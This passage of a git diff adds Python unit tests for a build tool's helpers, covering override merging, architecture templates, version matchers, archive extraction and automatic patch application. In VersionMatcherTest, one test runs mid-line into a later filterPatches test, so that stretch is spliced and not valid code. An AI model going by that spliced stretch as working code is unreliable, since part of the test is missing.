self.assertEqual(dict(out["GCC-Toolchain"]), {"source": "x", "tag": "v1"}) + + def test_mixed_and_malformed(self): + # bare names (no '=') are ignored; valid pins still applied. + out = asDict(["justaname", "a = 1"]) + self.assertNotIn("justaname", out) + self.assertEqual(dict(out["a"]), {"version": "1", "tag": "1"}) + + def test_empty_is_empty(self): + self.assertEqual(asDict([]), {}) + self.assertEqual(asDict(None), {}) + + +class DefaultsChainMergeTest(unittest.TestCase): + """Chained defaults (a::b::c) deep-merge overrides: union of entries, last + wins per key, regardless of list-form vs dict-form per profile.""" + + @staticmethod + def _merge_chain(*profiles): + # Mirror readDefaults: normalise each profile's overrides to dict-form + # BEFORE merging, so list-form and dict-form blocks interoperate. + merged = OrderedDict() + for p in profiles: + p = OrderedDict(p) + if "overrides" in p: + p["overrides"] = asDict(p["overrides"]) + merged = merge_dicts(merged, p) + return merged["overrides"] + + def test_dict_then_list_both_survive(self): + # gcc15 (dict-form toolchain pin) :: key4hep (list-form acts pin): + # both pins must survive -- the regression that silently dropped the + # GCC-Toolchain pin (falling back to the gcc14 recipe default). + ov = self._merge_chain( + {"overrides": [{"GCC-Toolchain": {"source": "x", "tag": "v15.2.0-alice1"}}]}, + {"overrides": ["acts = 44.4.0", "k4actstracking = v00-02"]}, + ) + self.assertEqual(ov["GCC-Toolchain"]["tag"], "v15.2.0-alice1") + self.assertEqual(dict(ov["acts"]), {"version": "44.4.0", "tag": "44.4.0"}) + self.assertEqual(dict(ov["k4actstracking"]), {"version": "v00-02", "tag": "v00-02"}) + + def test_list_then_dict_both_survive(self): + # Order-independent: the same chain with the forms swapped. + ov = self._merge_chain( + {"overrides": ["acts = 44.4.0"]}, + {"overrides": [{"GCC-Toolchain": {"tag": "v15.2.0-alice1"}}]}, + ) + self.assertIn("acts", ov) + self.assertEqual(ov["GCC-Toolchain"]["tag"], "v15.2.0-alice1") + + def test_same_key_last_wins(self): + # A later profile overriding the same package replaces its value. + ov = self._merge_chain( + {"overrides": ["acts = 26.0.0"]}, + {"overrides": ["acts = 44.4.0"]}, + ) + self.assertEqual(ov["acts"]["version"], "44.4.0") + + def test_same_key_deep_merge_keeps_other_fields(self): + # Same package across profiles: fields merge key-by-key, last wins per + # field, other fields preserved. + ov = self._merge_chain( + {"overrides": [{"ROOT": {"tag": "v6-36-04", "source": "orig"}}]}, + {"overrides": [{"ROOT": {"tag": "v6-40-00"}}]}, + ) + self.assertEqual(ov["ROOT"]["tag"], "v6-40-00") # last wins + self.assertEqual(ov["ROOT"]["source"], "orig") # untouched field kept + + +class ArchTemplateTest(unittest.TestCase): + """Configurable architecture layout: components, templates, and the + order/separator-independent matching used for validation, docker, S3.""" + + UBUNTU = ("ubuntu", "25.10", "") + + def _comp(self, processor="x86_64"): + from bits_helpers.utilities import arch_components + return arch_components(True, [], self.UBUNTU, "Linux", processor) + + def test_components(self): + c = self._comp() + self.assertEqual(c, {"os": "ubuntu2510", "machine": "x86-64", "_machine": "x86_64"}) + + def test_default_layout_unchanged(self): + # The built-in template must reproduce today's string byte-for-byte. + from bits_helpers.utilities import doDetectArch, DEFAULT_ARCH_TEMPLATE, apply_arch_template + self.assertEqual(DEFAULT_ARCH_TEMPLATE, "%(os)s_%(machine)s") + self.assertEqual(doDetectArch(True, [], self.UBUNTU, "Linux", "x86_64"), "ubuntu2510_x86-64") + self.assertEqual(apply_arch_template(DEFAULT_ARCH_TEMPLATE, self._comp()), "ubuntu2510_x86-64") + + def test_three_layouts(self): + from bits_helpers.utilities import apply_arch_template + c = self._comp() + self.assertEqual(apply_arch_template("%(os)s_%(machine)s", c), "ubuntu2510_x86-64") + self.assertEqual(apply_arch_template("%(os)s_%(_machine)s", c), "ubuntu2510_x86_64") + self.assertEqual(apply_arch_template("%(_machine)s-%(os)s", c), "x86_64-ubuntu2510") + + def test_literal_template_passthrough(self): + from bits_helpers.utilities import apply_arch_template + self.assertEqual(apply_arch_template("ubuntu2510_x86-64", self._comp()), "ubuntu2510_x86-64") + + def test_bad_template_raises(self): + from bits_helpers.utilities import apply_arch_template + with self.assertRaises(ValueError): + apply_arch_template("%(nope)s", self._comp()) + + def test_osx_components(self): + from bits_helpers.utilities import arch_components + c = arch_components(False, [], ("", "", ""), "Darwin", "arm64") + self.assertEqual(c["os"], "osx") + self.assertEqual(c["machine"], "arm64") + + def test_tokens(self): + from bits_helpers.utilities import arch_distro_token, arch_machine_token + self.assertEqual(arch_distro_token("x86_64-ubuntu2510"), "ubuntu2510") + self.assertEqual(arch_distro_token("slc9_aarch64"), "slc9") + self.assertEqual(arch_machine_token("ubuntu2510_x86_64"), "x86_64") + self.assertEqual(arch_machine_token("ubuntu2510_x86-64"), "x86-64") + self.assertIsNone(arch_distro_token("garbage123")) + + def test_normalise_arch_key_equivalence(self): + from bits_helpers.utilities import normalise_arch_key + # underscore and dash machine forms collapse to the same key + self.assertEqual(normalise_arch_key("ubuntu2404_x86_64"), + normalise_arch_key("ubuntu2404_x86-64")) + # order does not matter for the (distro, machine) key + self.assertEqual(normalise_arch_key("x86_64-ubuntu2404"), + normalise_arch_key("ubuntu2404_x86-64")) + + def test_matchValidArch_layouts(self): + from bits_helpers.args import matchValidArch + for a in ("ubuntu2510_x86-64", "ubuntu2510_x86_64", "x86_64-ubuntu2510", + "slc9_aarch64", "osx_arm64"): + self.assertTrue(matchValidArch(a), a) + self.assertFalse(matchValidArch("garbage123")) + + def test_cmdline_detection(self): + from bits_helpers.args import _architecture_given_on_cmdline as g + self.assertTrue(g(["bits", "build", "-a", "x", "pkg"])) + self.assertTrue(g(["bits", "build", "--architecture", "x"])) + self.assertTrue(g(["bits", "build", "--architecture=x"])) + self.assertTrue(g(["bits", "build", "-ax86_64-ubuntu2510"])) + self.assertFalse(g(["bits", "build", "pkg"])) + + +class VersionMatcherTest(unittest.TestCase): + """version matchers, &&/|| combinators, and conditional patches.""" + + ARCH = "ubuntu2510_x86-64-gcc15-dbg" + + def _m(self, matcher, version=None, default_vars=None): + return _matcher_active(matcher, self.ARCH, ["dev4"], default_vars, version) + + def test_natural_version_compare(self): + self.assertEqual(_version_compare("v40r2", "v40r4"), -1) + self.assertEqual(_version_compare("v40r10", "v40r2"), 1) # numeric, not lexical + self.assertEqual(_version_compare("01.07", "01.10"), -1) + self.assertEqual(_version_compare("v40r2", "v40r2"), 0) + + def test_separator_dash_dot_underscore_equivalent(self): + # '-', '.', '_' are equivalent separators: dash- and dot-form tags + # compare equal, and ordering is numeric across separators (the old + # code ranked v6-40-00 below v6.36.99 because '-' < '.'). + self.assertEqual(_version_compare("v6-40-00", "v6.40.00"), 0) + self.assertEqual(_version_compare("v6_40_00", "v6.40.00"), 0) + self.assertEqual(_version_compare("v6-40-00", "v6.36.99"), 1) + self.assertEqual(_version_compare("v6-38-00", "v6.40.00"), -1) + # dash-form tag in a version>= matcher now gates correctly + self.assertTrue(self._m("version>=v6.40.00", "v6-40-00")) + self.assertFalse(self._m("version>=v6.40.00", "v6-38-00")) + + def test_version_operators(self): + self.assertTrue(self._m("version=v40r2", "v40r2")) + self.assertFalse(self._m("version=v40r2", "v40r4")) + self.assertTrue(self._m("version!=v40r2", "v40r4")) + self.assertTrue(self._m("version=v40r3", "v40r4")) + self.assertFalse(self._m("version>v40r4", "v40r4")) + + def test_version_no_version_is_inactive(self): + self.assertFalse(self._m("version=v40r2", None)) + + def test_and_or_combinators(self): + self.assertTrue(self._m("version>=v40r2 && version=v40r2 && version=v40r4", "v40r4")) + # && binds tighter than || + self.assertTrue(self._m("(?!osx) && version>=v40r3 || version=v40r4,sha256:zz"] + self.assertEqual(filterPatches(pl, self.ARCH, ["dev4"], None, "v40r2"), + ["a.patch", "b.patch"]) + self.assertEqual(filterPatches(pl, self.ARCH, ["dev4"], None, "v40r4"), + ["b.patch", "c.patch,sha256:zz"]) + + if __name__ == '__main__': unittest.main() diff --git a/tests/test_workarea.py b/tests/test_workarea.py index 15778af4..d7af3135 100644 --- a/tests/test_workarea.py +++ b/tests/test_workarea.py @@ -1,12 +1,36 @@ from os import getcwd +import os +import shutil +import subprocess +import tempfile import unittest -from unittest.mock import patch, MagicMock # In Python 3, mock is built-in +from unittest.mock import call, patch, MagicMock # In Python 3, mock is built-in from collections import OrderedDict -from bits_helpers.workarea import updateReferenceRepoSpec +from bits_helpers.workarea import updateReferenceRepoSpec, _apply_patches, _extract_source_archives from bits_helpers.git import Git +class ExtractSourceArchivesTest(unittest.TestCase): + """A corrupt/wrong-format source archive must fail cleanly (SystemExit via + dieOnError), not crash the whole run with a CalledProcessError traceback.""" + + def setUp(self): + self.tmp = tempfile.mkdtemp() + + def tearDown(self): + shutil.rmtree(self.tmp, ignore_errors=True) + + def test_corrupt_tarball_fails_cleanly(self): + # A file named like a tarball but containing non-archive bytes (e.g. a + # 404 HTML page saved as the tarball). + bogus = os.path.join(self.tmp, "pkg-1.0.tar.gz") + with open(bogus, "w") as fh: + fh.write("404 Not Found\n") + with self.assertRaises(SystemExit): + _extract_source_archives(self.tmp) + + MOCK_SPEC = OrderedDict(( ("package", "AliRoot"), ("source", "https://github.com/alisw/AliRoot"), @@ -120,5 +144,154 @@ def test_reference_sources_created(self, mock_git, mock_makedirs, mock_exists): self.assertEqual(spec.get("reference"), "%s/sw/MIRROR/aliroot" % getcwd()) +@patch("bits_helpers.workarea.debug", new=MagicMock()) +class ApplyPatchesTest(unittest.TestCase): + """Tests for _apply_patches() — automatic patch application in checkout_sources.""" + + def setUp(self): + self.source_dir = tempfile.mkdtemp() + # Place dummy patch files in the source dir (as bits does via shutil.copyfile) + for name in ("fix-a.patch", "fix-b.patch"): + open(os.path.join(self.source_dir, name), "w").close() + + def tearDown(self): + shutil.rmtree(self.source_dir, ignore_errors=True) + + def _spec(self, patches=None, auto_patch=None): + """Build a minimal spec dict.""" + s = OrderedDict() + if patches is not None: + s["patches"] = patches + if auto_patch is not None: + s["auto_patch"] = auto_patch + return s + + # ------------------------------------------------------------------ + # No-op cases + # ------------------------------------------------------------------ + + @staticmethod + def _patch_cmd(call_obj): + """Return the command list (first positional arg) of a subprocess.run call.""" + return call_obj[0][0] + + @patch("subprocess.run") + def test_no_patches_key_is_noop(self, mock_run): + """spec without 'patches' key must not invoke patch(1) at all.""" + _apply_patches(self._spec(), self.source_dir) + mock_run.assert_not_called() + + @patch("subprocess.run") + def test_empty_patches_list_is_noop(self, mock_run): + """spec with patches:[] must not invoke patch(1) at all.""" + _apply_patches(self._spec(patches=[]), self.source_dir) + mock_run.assert_not_called() + + @patch("subprocess.run") + def test_sentinel_skips_reapplication(self, mock_run): + """If .bits_patched already exists, patches must not be reapplied.""" + open(os.path.join(self.source_dir, ".bits_patched"), "w").close() + _apply_patches(self._spec(patches=["fix-a.patch"]), self.source_dir) + mock_run.assert_not_called() + + @patch("subprocess.run") + def test_auto_patch_false_skips_application(self, mock_run): + """auto_patch=False must not invoke patch(1) (recipe applies its own).""" + _apply_patches(self._spec(patches=["fix-a.patch", "fix-b.patch"], auto_patch=False), + self.source_dir) + mock_run.assert_not_called() + + @patch("subprocess.run") + def test_auto_patch_false_writes_no_sentinel(self, mock_run): + """When auto-patching is off, the .bits_patched sentinel must NOT be written + (the recipe owns idempotency).""" + _apply_patches(self._spec(patches=["fix-a.patch"], auto_patch=False), self.source_dir) + self.assertFalse(os.path.exists(os.path.join(self.source_dir, ".bits_patched"))) + + @patch("subprocess.run") + def test_auto_patch_true_default_still_applies(self, mock_run): + """auto_patch=True (and the absent-key default) must apply patches as before.""" + _apply_patches(self._spec(patches=["fix-a.patch"], auto_patch=True), self.source_dir) + mock_run.assert_called_once() + + # ------------------------------------------------------------------ + # Happy-path: correct invocations and sentinel creation + # ------------------------------------------------------------------ + + @patch("subprocess.run") + def test_single_patch_invocation(self, mock_run): + """A single patch must be applied with patch -p1 --batch --input in source_dir.""" + _apply_patches(self._spec(patches=["fix-a.patch"]), self.source_dir) + expected_patch_path = os.path.join(self.source_dir, "fix-a.patch") + mock_run.assert_called_once() + self.assertEqual(self._patch_cmd(mock_run.call_args), + ["patch", "-p1", "--batch", "--input", expected_patch_path]) + self.assertEqual(mock_run.call_args[1].get("cwd"), self.source_dir) + + @patch("subprocess.run") + def test_multiple_patches_applied_in_order(self, mock_run): + """Multiple patches must be applied in declaration order.""" + _apply_patches( + self._spec(patches=["fix-a.patch", "fix-b.patch"]), + self.source_dir, + ) + expected_a = os.path.join(self.source_dir, "fix-a.patch") + expected_b = os.path.join(self.source_dir, "fix-b.patch") + self.assertEqual(mock_run.call_count, 2) + self.assertEqual(self._patch_cmd(mock_run.call_args_list[0]), + ["patch", "-p1", "--batch", "--input", expected_a]) + self.assertEqual(self._patch_cmd(mock_run.call_args_list[1]), + ["patch", "-p1", "--batch", "--input", expected_b]) + self.assertEqual(mock_run.call_args_list[0][1].get("cwd"), self.source_dir) + self.assertEqual(mock_run.call_args_list[1][1].get("cwd"), self.source_dir) + + @patch("subprocess.run") + def test_sentinel_written_on_success(self, mock_run): + """After successful application .bits_patched sentinel must be created.""" + sentinel = os.path.join(self.source_dir, ".bits_patched") + self.assertFalse(os.path.exists(sentinel)) + _apply_patches(self._spec(patches=["fix-a.patch"]), self.source_dir) + self.assertTrue(os.path.exists(sentinel), + ".bits_patched sentinel must exist after successful patch application") + + @patch("subprocess.run") + def test_inline_checksum_suffix_stripped(self, mock_run): + """Patch entries may carry a ',algo:digest' suffix; only the filename is used.""" + _apply_patches( + self._spec(patches=["fix-a.patch,sha256:deadbeef"]), + self.source_dir, + ) + expected_path = os.path.join(self.source_dir, "fix-a.patch") + mock_run.assert_called_once() + self.assertEqual(self._patch_cmd(mock_run.call_args), + ["patch", "-p1", "--batch", "--input", expected_path]) + self.assertEqual(mock_run.call_args[1].get("cwd"), self.source_dir) + + # ------------------------------------------------------------------ + # Failure path: no sentinel on error + # ------------------------------------------------------------------ + + @patch("bits_helpers.workarea.dieOnError") + @patch("subprocess.run", + side_effect=subprocess.CalledProcessError(1, "patch")) + def test_patch_failure_calls_dieOnError(self, mock_run, mock_die): + """A failing patch(1) call must invoke dieOnError with a descriptive message.""" + _apply_patches(self._spec(patches=["fix-a.patch"]), self.source_dir) + mock_die.assert_called_once() + args = mock_die.call_args[0] + self.assertTrue(args[0], "dieOnError must be called with truthy error flag") + self.assertIn("fix-a.patch", args[1], "error message must name the failing patch file") + + @patch("bits_helpers.workarea.dieOnError") + @patch("subprocess.run", + side_effect=subprocess.CalledProcessError(1, "patch")) + def test_no_sentinel_on_failure(self, mock_run, mock_die): + """If patch(1) fails, .bits_patched must NOT be created.""" + sentinel = os.path.join(self.source_dir, ".bits_patched") + _apply_patches(self._spec(patches=["fix-a.patch"]), self.source_dir) + self.assertFalse(os.path.exists(sentinel), + ".bits_patched must not exist after a failed patch application") + + if __name__ == '__main__': unittest.main()